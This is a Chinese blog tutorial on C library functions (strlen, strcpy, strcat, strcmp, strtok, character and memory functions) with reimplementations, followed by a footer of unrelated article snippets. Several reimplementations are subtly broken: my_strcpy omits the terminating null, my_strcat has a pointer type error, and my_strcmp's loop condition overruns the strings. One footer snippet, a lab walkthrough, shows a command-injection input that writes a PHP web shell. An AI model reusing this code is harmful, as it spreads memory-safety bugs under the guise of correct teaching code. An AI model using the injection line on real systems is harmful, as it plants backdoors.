部分库函数及其模拟

 前言:当我们学习c/c++库函数的时候,我们可以用网站

cplusplus.com - The C++ Resources Network

来进行查阅,学习。 

目录

库函数:

1.字符串函数

1.1求字符串长度

strlen

1.2长度不受限制的字符串函数

1.2.1strcpy

1.2.2strcat

1.2.3strcmp

1.3长度受限制的字符串函数介绍

1.3.1strncpy

1.3.2strncat

1.3.3strncmp

1.4字符串查找

1.4.1strstr

1.4.2strtok

1.5.错误信息报告

strerror

2.字符函数

1.字符分类函数

2.字符转换函数

3.内存函数


库函数:

1.字符串函数

字符串函数一般要用到头文件:<string.h> 

1.1求字符串长度

strlen

size_t strlen ( const char * str );

1.首先,字符串是以\0来结尾的,strlen返回的是字符串中" \0 "之前的元素个数,不包括 " \0 "

2.参数指向的字符必须以" \0 "来结尾

3.注意函数的返回值为size_t,是无符号的

使用

函数模拟:

1.计数器:

int my_strlen(char* str)
{int count = 0;while (*str){count++;str++;}return count;
}

2.不能使用计数器

int my_strlen(char* str)
{if (*str == '\0')return 0;else{return 1 + my_strlen(str + 1);}
}

3.指针

int my_strlen(char* str)
{char* p = str;while (*p != '\0'){p++;}return p - str;}

1.2长度不受限制的字符串函数

1.2.1strcpy
char * strcpy ( char * destination, const char * source );

1.源字符串必须以“\0”结尾

2.会将源字符串中的 '\0' 拷贝到目标空间

3.目标空间必须足够大,以确保能存放源字符串

4.目标空间必须可变

int main()
{char arr1[10] = "1234567";char arr2[20] = "0";printf("%s\n", arr2);strcpy(arr2, arr1);printf("%s\n",arr2);return 0;
}

模拟:

char* my_strcpy(char* destination, const char* source)
{assert(destination && source);char* ret = destination;while (*source){*destination = *source;destination++;source++;}return ret;
}

 因为我们的源地址,只是用来被拷贝,其指针指向的内容不能被改变,所以我们加上一个const修饰,而且,destination和source都不能是空指针,所以我们用assert断言一下。

 

1.2.2strcat
char * strcat ( char * destination, const char * source );

一个字符串从一个字符串的终止符号加上去

#include<stdio.h>
#include<string.h>int main()
{char arr[80] = { 0 };strcat(arr, " you ");strcat(arr, " are ");strcat(arr, " the ");strcat(arr, " best ");char arr1[20] = "ef";char arr2[] = "abcd";strcat(arr1,arr2);printf("%s\n" ,arr2);printf("%s\n", arr);return 0;
}

 我们来验证strcat是否是从目标字符串的终止符号(就是“\0”)来进行操作的

我们用上面的代码在vs2022上按快捷键f10,进行调试。

我们打开监视窗口,在窗口上输入arr1和arr2我们来进行观察

 

然后按下f10到14行位置,此时,arr1和arr2已经完成初始化。

 

我们的目标字符串是arr1,arr2是源字符串,此时我们按下f10

观察到arr1数组的第3个元素从" \0 "变成了字符‘ a ’,由此我们得以验证,strcat是从目标字符的终止字符“ \0 ”来进行操作的。

下面我们来模拟这个函数:

1.这个函数是用来把一个字符串放到另一个字符串的末尾

2.是从目标字符串的末尾来进行操作的

3.返回类型是目标字符串的起始地址

char* my_strcat(char* destination, const char* source)
{char ret = destination;while (*destination){destination++;}while ((*destination++ = *source++)){;}return ret;
}
1.2.3strcmp

int strcmp ( const char * str1, const char * str2 );

两个字符串进行比较,返回一个int类型的值

比较到出现另个字符不一样或者一个字符串结束或者n个字符全部比较完

如果出现第一个不一样的字符,第一个字符串的这个字符比第二个字符串的这个字符小就返回一个<0的数

如果出现第一个不一样的字符,第一个字符串的这个字符比第二个字符串的这个字符大就返回一个>0的数

如果比较结束都不一样就返回0;

int main()
{char arr1[] = "abcde";char arr2[] = "abcdf";int ret = strcmp(arr1, arr2);printf("%d ", ret);return 0;
}


int main()
{char arr1[] = "abcde";char arr2[] = "abcde";int ret = strcmp(arr1, arr2);printf("%d ", ret);return 0;
}

int main()
{char arr1[] = "abcdf";char arr2[] = "abcde";int ret = strcmp(arr1, arr2);printf("%d ", ret);return 0;
}

 

 我们下面来模拟这个函数

1.当两个字符串不同相同时,终止循环并进行比较

2.当2个字符串比完之后,终止循环并返回0

int my_strcmp(const char* str1, const char* str2)
{while ((*str1 == *str2) || *str1 != '\0'){str1++;str2++;}if (*str1 < *str2)return -1;else if(*str1 > *str2)return 1;else return 0;
}

1.3长度受限制的字符串函数介绍

1.3.1strncpy
char * strncpy ( char * destination, const char * source, size_t num );
拷贝 num 个字符从源字符串到目标空间。
如果源字符串的长度小于 num ,则拷贝完源字符串之后,在目标的后边追加 0 ,直到 num 个。

 

1.3.2strncat
char * strncat ( char * destination, const char * source, size_t num );

 

1.3.3strncmp
int strncmp ( const char * str1, const char * str2, size_t num );

 

1.4字符串查找

1.4.1strstr
const char * strstr ( const char * str1, const char * str2 );char * strstr (       char * str1, const char * str2 );

1.4.2strtok

char * strtok ( char * str, const char * delimiters );
sep 参数是个字符串,定义了用作分隔符的字符集合
第一个参数指定一个字符串,它包含了0 个或者多个由 sep 字符串中一个或者多个分隔符分割的标
记。
strtok 函数找到 str 中的下一个标记,并将其用
\0
结尾,返回一个指向这个标记的指针。(注: strtok函数会改变被操作的字符串,所以在使用 strtok 函数切分的字符串一般都是临时拷贝的内容并且可修改。)
strtok 函数的第一个参数不为 NULL ,函数将找到 str 中第一个标记, strtok 函数将保存它在字符串
中的位置。
strtok 函数的第一个参数为 NULL ,函数将在同一个字符串中被保存的位置开始,查找下一个标
记。
如果字符串中不存在更多的标记,则返回 NULL 指针。

1.5.错误信息报告

strerror

char * strerror ( int errnum );

返回错误码,所对应的错误信息。

 必须包含头文件#include<errno.h>

2.字符函数

1.字符分类函数

 函数如果他的参数符合以下条件就返回真
iscntrl
任何控制字符
isspace
空白字符:空格 ‘ ’ ,换页 ‘\f’ ,换行 '\n' ,回车 ‘\r’ ,制表符 '\t' 或者垂直制表符 '\v'
isdigit
十进制数字 0~9
isxdigit
十六进制数字,包括所有十进制数字,小写字母 a~f ,大写字母 A~F
islower
小写字母 a~z
isupper
大写字母 A~Z
isalpha
字母 a~z A~Z
isalnum
字母或者数字, a~z,A~Z,0~9
ispunct
标点符号,任何不属于数字或者字母的图形字符(可打印)
isgraph
任何图形字符
isprint
任何可打印字符,包括图形字符和空白字符

2.字符转换函数

 int tolower ( int c );

 int toupper ( int c );

#include<stdio.h>#include <ctype.h>
int main()
{int i = 0;char str[] = "Test String.\n";char c;while (str[i]){c = str[i];if (isupper(c))c = tolower(c);putchar(c);i++;}return 0;
}

3.内存函数

1.memcpy

void * memcpy ( void * destination, const void * source, size_t num );

这里我们发现,返回类型还有参数类型都是void*,这是为了方便接收任意指针,

函数memcpysource的位置开始向后复制num个字节的数据到destination的内存位置。这个函数在遇到 '\0' 的时候并不会停下来。如果sourcedestination有任何的重叠,复制的结果都是未定义的。

2.memmove

void * memmove ( void * destination, const void * source, size_t num );

3.memcmp

int memcmp ( const void * ptr1, const void * ptr2, size_t num );

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/878994.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue3如何创建多环境变量

首先在全局目录中新建.env.development文件和.env.production文件、.env.test文件 .env.development文件 VITE_MODE_NAMEdevelopment VITE_API_URL"http://xxxxxxxxxx" 注意&#xff1a;必须要以VITE_ 去开头&#xff0c;否则获取不到 依次去配置.env.production文…

Pikachu靶场之RCE漏洞详解

一.exec "ping" 1.ping本机127.0.0.1 2.用&符拼接dir查看目录 3.&拼接echo输入一句话木马 127.0.0.1&echo "<?php eval($_POST[cmd]);?>)" > 6.php 4.同级目录访问6.php&#xff0c;蚁剑连接 二&#xff1a;exec "eval"…

c中 int 和 unsigned int

c语言中&#xff0c;char、short、int、int64以及unsigned char、unsigned short、unsigned int、unsigned int64等等类型都可以表示整数。但是他们表示整数的位数不同&#xff0c;比如&#xff1a;char/unisigned char表示8位整数&#xff1b; short/unsigned short表示16位整…

CATIA P3 V5-6R2020下载安装教程,附软件包百度网盘分享下载链接地址

CATIA V5软件介绍 CATIA V5 是达索系统公司开发的 CAD/CAE/CAM 一体化软件&#xff0c;在多行业广泛应用。它源于航空航天业&#xff0c;也是汽车工业事实标准。其发展历经多个版本&#xff0c;V5 版本界面友好且功能强大。 特点包括强大功能&#xff0c;如先进建模技术可创建…

Linux Vim的 命令大全

Linux Vim的 命令大全 文章目录 Linux Vim的 命令大全[TOC](文章目录)Vim 的历史Vi 的诞生Vim 的诞生Vim 的开源与发展Vim 的影响力1.Vim 的基本模式2. 正常模式常用命令3. 插入模式4. 命令模式5. 可视模式6. 其他有用的命令7. 自定义设置下载 Vim 的历史 Vim 的历史可以追溯到…

SD三分钟入门!秋叶大佬24年8月最新的Stable Diffusion整合包V4.9.7来了~

1 什么是 Stable Diffusion&#xff1f; Stable Diffusion&#xff08;简称SD&#xff09;是一种生成式人工智能技术&#xff0c;于2022年推出。它主要用于根据文本描述生成精细图像&#xff0c;同时也可应用于其他任务&#xff0c;如图像修补、扩展&#xff0c;以及在文本提…

C++ Windwos 文件操作

两种方式获取文件大小 INT64 MyGetFileSize(const CString& strFilePath) {//获取文件大小INT64 nLen 0;WIN32_FILE_ATTRIBUTE_DATA attr { 0 }; //文件属性结构体if (FALSE GetFileAttributesEx(strFilePath, GetFileExInfoStandard, &attr)) //获取文…

图论篇--代码随想录算法训练营第五十一天打卡| 99. 岛屿数量(深搜版),99. 岛屿数量(广搜版),100. 岛屿的最大面积

99. 岛屿数量&#xff08;深搜版&#xff09; 题目链接&#xff1a;99. 岛屿数量 题目描述&#xff1a; 给定一个由 1&#xff08;陆地&#xff09;和 0&#xff08;水&#xff09;组成的矩阵&#xff0c;你需要计算岛屿的数量。岛屿由水平方向或垂直方向上相邻的陆地连接而…

FFmpeg源码:compute_frame_duration函数分析

一、compute_frame_duration函数的定义 compute_frame_duration函数定义在FFmpeg源码&#xff08;本文演示用的FFmpeg源码版本为7.0.1&#xff09;的源文件libavformat/demux.c中&#xff1a; /*** Return the frame duration in seconds. Return 0 if not available.*/ stat…

2025秋招NLP算法面试真题(十八)-大模型训练数据格式常见问题

目录: SFT(有监督微调)的数据集格式RM(奖励模型)的数据格式PPO(强化学习)的数据格式找数据集哪里找微调需要多少条数据有哪些大模型的训练集进行领域大模型预训练应用哪些数据集比较好1.SFT(有监督微调)的数据集格式? 对于大语言模型的训练中,SFT(Supervised Fine…

pycharm如何安装selenium

在pycharm中打开一个项目后,点击Setting(ALTCtrlS快捷键) 然后点击install package完成后点击关闭这个窗口,就可以在代码中使用selenium了 成功后出现如下界面 编写一段正常可以运行操作chorme浏览器的 from selenium import webdriver # 指定ChromeDriver的路径driver we…

数学建模笔记—— 非线性规划

数学建模笔记—— 非线性规划 非线性规划1. 模型原理1.1 非线性规划的标准型1.2 非线性规划求解的Matlab函数 2. 典型例题3. matlab代码求解3.1 例1 一个简单示例3.2 例2 选址问题1. 第一问 线性规划2. 第二问 非线性规划 非线性规划 非线性规划是一种求解目标函数或约束条件中…

SQL 编程基础

SQL&#xff08;结构化查询语言&#xff09;广泛应用于数据库操作&#xff0c;是每个程序员都需要掌握的技能之一。这篇文章将带你从基础入门&#xff0c;了解SQL编程中的常量、变量及流程控制语句。我们将采用简单易懂的语言&#xff0c;结合实际示例&#xff0c;帮助你轻松理…

Android 调试桥——ADB

文章目录 前言ADB 的主要功能设备连接与管理应用安装与卸载文件传输日志查看设备重启 常用命令连接方式有线无线注意点 前言 ADB&#xff08;Android Debug Bridge&#xff0c;安卓调试桥&#xff09;是 Android SDK 提供的一种命令行工具&#xff0c;用于在开发者的计算机和 …

Stable Diffusion训练LoRA模型参数详细说明(阿里巴巴堆友AI)

工具&#xff1a;线上模型训练堆友AI 一、训练参数 批量大小 (Batch Size) 作用&#xff1a;每次训练中使用的样本数量。参考值&#xff1a;可以从 8 到 64&#xff0c;取决于显存大小。 训练轮数 (Epochs) 作用&#xff1a;完整遍历训练数据的次数。参考值&#xff1a;通…

骨传导耳机推荐排名,精选五款热门好用不踩雷推荐

近两年来&#xff0c;骨传导运动蓝牙耳机在运动领域内日益流行。与传统耳机相比&#xff0c;它的显著优势是能够保持双耳开放&#xff0c;不会堵塞耳道&#xff0c;消除了入耳式耳机可能引起的不适感。此外还能避免运动时耳内出汗可能导致的各种卫生和健康问题。很多人就问了&a…

C# 使用阿里DOH

阿里公共DNS 1. DNS over HTTPs(DoH) 阿里公共DNS通过RFC 8484指定的经过TLS加密的HTTP连接提供DNS解析 DNS over HTTPs&#xff08;DoH&#xff09;的URI接口 &#xff1a;&#xff08;仅提供TLS API&#xff09; https://dns.alidns.com/dns-query?https://alidns_ip/dn…

Python 调用手机摄像头

Python 调用手机摄像头 在手机上安装软件 这里以安卓手机作为演示&#xff0c;ISO也是差不多的 软件下载地址 注意&#xff1a;要想在电脑上查看手机摄像头拍摄的内容的在一个局域网里面(没有 WIFI 可以使用 热点 ) 安装完打开IP摄像头服务器 点击分享查看IP 查看局域网的I…

谷粒商城のNginx

文章目录 前言一、Nginx1、安装Nginx2、相关配置2.1、配置host2.2、配置Nginx2.3、配置网关 前言 本篇重点介绍项目中的Nginx配置。 一、Nginx 1、安装Nginx 首先需要在本地虚拟机执行&#xff1a; mkdir -p /mydata/nginx/html /mydata/nginx/logs /mydata/nginx/conf在项目…

数学建模笔记——TOPSIS[优劣解距离]法

数学建模笔记——TOPSIS[优劣解距离法] TOPSIS(优劣解距离)法1. 基本概念2. 模型原理3. 基本步骤4. 典型例题4.1 矩阵正向化4.2 正向矩阵标准化4.3 计算得分并归一化4.4 python代码实现 TOPSIS(优劣解距离)法 1. 基本概念 C. L.Hwang和 K.Yoon于1981年首次提出 TOPSIS(Techni…